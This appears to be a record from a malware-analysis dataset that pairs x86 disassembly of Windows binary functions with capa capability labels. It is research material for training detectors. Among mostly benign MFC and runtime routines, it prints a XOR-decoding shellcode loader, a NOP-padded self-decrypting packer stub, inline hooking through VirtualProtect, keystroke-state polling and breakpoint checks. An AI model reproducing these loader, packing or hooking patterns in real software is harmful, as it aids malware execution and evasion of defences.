joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004ba30
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10098918
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.100913cf
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.1004b390
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.100912fd
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.1008dba9
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.1008dba9
push 1
push 0
push 0
mov ecx, esi
call fcn.1008db51
push 1
push 0
push 1
mov ecx, esi
call fcn.1008db51
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.10091441
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x1004bbb0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x10098938
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.100913cf
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.1004b390
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.100912fd
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x1004bc74
cmp dword [esp + 0x40], 1
jne 0x1004bc72
cmp ecx, eax
jge 0x1004bc74
mov eax, ecx
cmp eax, 0xc8
jge 0x1004bc80
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.1004ba30
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.10091441
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x1004c470
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100989e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.1008bfc4
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.10091677
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.10092b93
test eax, eax
je 0x1004c58c
mov ecx, dword [esp + 0x3c]
call fcn.100916a4
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x1004c550
push edi
mov ecx, esi
call fcn.1008ecf0
mov ecx, esi
call fcn.1004c730
cmp dword [esp + 0x38], 1
jne 0x1004c585
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.1008ee2b
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x1004e780
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004e7b3
push esi
call fcn.1005cb40
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004e7ac
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004e839
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004e822
mov eax, dword [esi + 8]
test eax, eax
je 0x1004e7d7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004e81e
cmp eax, 2
je 0x1004e822
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004e7ca
cmp eax, 3
je 0x1004e7fd
cmp eax, 1
jne 0x1004e7ca
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004e7ca
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004e7ca
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004e860
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004e848
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004e860
add esp, 4
pop esi
ret

Function at 0x1004f0e0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1004f101
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1004f101
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1004f101
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x1004f550
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1004f55b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1004f65e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x100a6150]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a6150]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a6150]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a6150]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a6150]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x100a6150]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x100a6150]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100a6150]
xor eax, edx
inc ecx
dec edi
jne 0x1004f576
pop edi
test esi, esi
je 0x1004f680
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x100a6150]
xor eax, edx
inc ecx
dec esi
jne 0x1004f662
pop esi
pop ebx
not eax
ret
Function at 0x10073c70
Capabilities:
Suspend thread

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
xor ebx, ebx
push edi
mov dword [edi], ebx
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
call fcn.10073e60
mov eax, dword [edi]
add esp, 4
cmp eax, ebx
je 0x10073cd9
cmp dword [edi + 8], ebx
jbe 0x10073cd9
push ebp
mov ebp, dword [esp + 0x18]
push esi
mov eax, dword [edi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call fcn.10073a20
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10073ccf
push esi
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
mov edx, dword [esp + 0x18]
push ebp
push edx
push esi
call fcn.10073ce0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [edi + 8]
inc ebx
cmp ebx, eax
jb 0x10073c9a
pop esi
pop ebp
pop edi
pop ebx
ret

Function at 0x10073e60
Capabilities:
Enumerate threads

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [esp + 0x24]
test esi, esi
push edi
je 0x10073f5d
push 0
push 4
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x28], edi
je 0x10073f5d
lea eax, [esp + 8]
mov dword [esp + 8], 0x1c
push eax
push edi
call sub.KERNEL32.DLL_Thread32First
test eax, eax
je 0x10073f56
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_HeapReAlloc]
cmp dword [esp + 0xc], 0x10
jb 0x10073f32
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
cmp dword [esp + 0x18], eax
jne 0x10073f32
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
cmp dword [esp + 0x14], eax
je 0x10073f32
mov eax, dword [esi]
test eax, eax
jne 0x10073ef4
mov dword [esi + 4], 0x80
mov ecx, dword [0x100d7d04]
push 0x200
push eax
push ecx
call edi
test eax, eax
mov dword [esi], eax
je 0x10073f51
jmp 0x10073f1f
mov ecx, dword [esi + 4]
mov edx, dword [esi + 8]
cmp edx, ecx
jb 0x10073f1f
lea edx, [ecx*8]
push edx
push eax
mov eax, dword [0x100d7d04]
push 0
push eax
call ebx
test eax, eax
je 0x10073f51
mov ecx, dword [esi + 4]
mov dword [esi], eax
shl ecx, 1
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov eax, dword [esi]
mov ecx, dword [esp + 0x14]
mov dword [eax + edx*4], ecx
mov eax, dword [esi + 8]
inc eax
mov dword [esi + 8], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0xc]
push edx
push eax
mov dword [esp + 0x14], 0x1c
call sub.KERNEL32.DLL_Thread32Next
test eax, eax
jne 0x10073eb1
mov edi, dword [esp + 0x2c]
pop ebx
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x10073f70
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x10073fca
mov eax, dword [ebx + 8]
push edi
xor edi, edi
test eax, eax
jbe 0x10073fb8
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_ResumeThread]
push esi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call fcn.10073a20
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10073fae
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebx + 8]
inc edi
cmp edi, eax
jb 0x10073f8c
pop esi
pop ebp
mov edx, dword [ebx]
mov eax, dword [0x100d7d04]
push edx
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
pop edi
pop ebx
ret

Function at 0x10073fd0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
lea ecx, [eax + eax*4]
mov ebp, 5
lea edx, [eax + ecx*2]
mov eax, dword [0x100f5790]
mov edi, dword [eax + edx*4]
lea esi, [eax + edx*4]
mov al, byte [eax + edx*4 + 0x14]
test al, 1
je 0x10073ffc
sub edi, ebp
mov ebp, 7
lea ecx, [esp + 0x10]
push ecx
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x10074018
pop edi
pop esi
mov eax, 0xa
pop ebp
ret
push ebx
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x10074041
mov byte [edi], 0xe9
mov edx, dword [esi + 4]
sub edx, edi
sub edx, 5
mov dword [edi + 1], edx
mov al, byte [esi + 0x14]
test al, 1
je 0x1007406f
mov eax, dword [esi]
mov byte [eax], 0xeb
mov byte [eax + 1], 0xf9
jmp 0x1007406f
test byte [esi + 0x14], 1
je 0x10074060
lea eax, [esi + 0xc]
mov ecx, edi
mov edx, dword [eax]
mov dword [ecx], edx
mov dx, word [eax + 4]
mov word [ecx + 4], dx
mov al, byte [eax + 6]
mov byte [ecx + 6], al
jmp 0x1007406f
lea ecx, [esi + 0xc]
mov edx, edi
mov eax, dword [ecx]
mov dword [edx], eax
mov cl, byte [ecx + 4]
mov byte [edx + 4], cl
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x14]
push edx
push eax
push ebp
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
push ebp
push edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
mov al, bl
mov dl, byte [esi + 0x14]
and al, 1
and dl, 0xf9
mov cl, al
pop ebx
and cl, 0xfd
pop edi
shl al, 1
or cl, al
xor eax, eax
shl cl, 1
or cl, dl
mov byte [esi + 0x14], cl
pop esi
pop ebp
ret
Function at 0x10074550
Capabilities:
Log keystrokes via polling

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x24]
mov ecx, dword [eax + 0x7c]
push esi
cmp ebp, 0xffffffff
push edi
mov dword [esp + 0x10], ecx
jne 0x10074605
mov edx, dword [esp + 0x1c]
mov ebp, dword [edx]
test ebp, ebp
je 0x100745dc
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x11
call esi
push 0x10
mov edi, eax
call esi
push 0x12
mov ebx, eax
call esi
xor ecx, ecx
test edi, 0x8000
je 0x1007459c
mov ecx, 2
test bh, 0x80
je 0x100745a4
or ecx, 1
test ah, 0x80
je 0x100745ac
or ecx, 4
mov esi, dword [esp + 0x28]
push ecx
mov ecx, esi
mov eax, dword [esp + 0x14]
shr ecx, 0x10
movsx edx, cx
mov eax, dword [eax + 8]
push edx
mov edx, dword [esp + 0x24]
movsx ecx, si
push ecx
mov ecx, dword [edx + 4]
push ecx
push eax
call ebp
test eax, eax
jne 0x100745e2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov esi, dword [esp + 0x28]
jmp 0x100745e6
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push esi
push edx
mov edx, dword [eax + 0x14]
mov eax, dword [eax + 4]
push ecx
push edx
push eax
call dword [sym.imp.USER32.dll_CallWindowProcW]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0x11
call esi
push 0x10
mov edi, eax
call esi
push 0x12
mov ebx, eax
call esi
xor ecx, ecx
test edi, 0x8000
je 0x1007462a
mov ecx, 2
test bh, 0x80
je 0x10074632
or ecx, 1
test ah, 0x80
je 0x1007463a
or ecx, 4
mov esi, dword [esp + 0x28]
push ecx
mov ecx, esi
mov edi, dword [esp + 0x1c]
shr ecx, 0x10
movsx edx, cx
movsx eax, si
push edx
push eax
push 3
push ebp
push edi
call fcn.10074470
add esp, 0x18
test eax, eax
je 0x100745d4
cmp ebp, 0x18
je 0x1007466d
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [edi + 0x14]
push esi
push eax
mov eax, dword [edi + 4]
push ecx
push edx
push eax
call dword [sym.imp.USER32.dll_CallWindowProcW]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10074e80
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x100f578c]
test eax, eax
je 0x10074e96
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x10074ee3
mov eax, dword [eax]
test eax, eax
jne 0x10074e89
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x10074ee3
lea ecx, [eax + 0x20]
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov edx, dword [eax + 4]
mov dword [ecx], edx
mov dword [eax + 4], ecx
add ecx, 0x20
mov edx, ecx
sub edx, eax
cmp edx, 0xfe0
jbe 0x10074ebf
mov ecx, dword [0x100f578c]
mov dword [eax], ecx
mov dword [0x100f578c], eax
ret

Function at 0x10075320
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
mov cl, byte [esi]
test cl, cl
je 0x10075339
cmp cl, 0x90
je 0x10075339
cmp cl, 0xcc
je 0x10075339
pop esi
xor eax, eax
ret
mov edx, dword [esp + 0xc]
mov eax, 1
cmp edx, eax
jbe 0x10075350
cmp byte [eax + esi], cl
jne 0x10075335
inc eax
cmp eax, edx
jb 0x10075346
pop esi
mov eax, 1
ret
Function at 0x100780d0
Capabilities:
Create process on windows

Disassembly:
push str.Microsoft_Internet_Explorer
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov ecx, dword [esp + 4]
push 1
push 0
push 0
push ecx
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret 4

Function at 0x1008cdba
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1008cdf2
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1008ae71
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1008ae49
jmp 0x1008cdfe
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x1008e4ad
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x1008e4ef
call fcn.10093f83
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x1008e4ef
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x1008e4e6
xor eax, eax
jmp 0x1008e4f7
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.1008e4fd
pop edi
pop esi
pop ebx
ret 4
Function at 0x10001000
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x14]
push eax
push ecx
push str._s_s
push esi
mov dword [esp + 0x14], 0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001084
push 0
lea edx, [esp + 8]
push edx
push 0x16800
push 0x1000ac50
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 4]
xor eax, eax
test ecx, ecx
jbe 0x1000107d
mov dl, 0xc3
xor byte [eax + 0x1000ac50], dl
inc eax
cmp eax, ecx
jb 0x10001072
mov eax, 0x1000ac58
call eax
mov eax, 1
pop esi
pop ecx
ret

Function at 0x10001098
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x100010a2
repz ret
jmp fcn.100012f5

Function at 0x100064c8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000146d
and dword [ebp - 4], 0
cmp dword [0x10021de8], 0
mov ebx, eax
jne 0x10006579
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000662a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000662a
push eax
call fcn.100013fb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10021de8], eax
call esi
push eax
call fcn.100013fb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10021dec], eax
call esi
push eax
call fcn.100013fb
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10021df0], eax
call esi
push eax
call fcn.100013fb
pop ecx
mov dword [0x10021df8], eax
test eax, eax
je 0x10006579
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100013fb
pop ecx
mov dword [0x10021df4], eax
mov eax, dword [0x10021df4]
cmp eax, ebx
je 0x100065d1
cmp dword [0x10021df8], ebx
je 0x100065d1
push eax
call fcn.10001476
push dword [0x10021df8]
mov esi, eax
call fcn.10001476
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100065d1
test edi, edi
je 0x100065d1
call esi
test eax, eax
je 0x100065c8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100065c8
test byte [ebp - 0xc], 1
jne 0x100065d1
or dword [ebp + 0x10], 0x200000
jmp 0x1000660a
mov eax, dword [0x10021dec]
cmp eax, ebx
je 0x1000660a
push eax
call fcn.10001476
pop ecx
test eax, eax
je 0x1000660a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000660a
mov eax, dword [0x10021df0]
cmp eax, ebx
je 0x1000660a
push eax
call fcn.10001476
pop ecx
test eax, eax
je 0x1000660a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10021de8]
call fcn.10001476
pop ecx
test eax, eax
je 0x1000662a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000662c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x785469e1
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x61377661
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219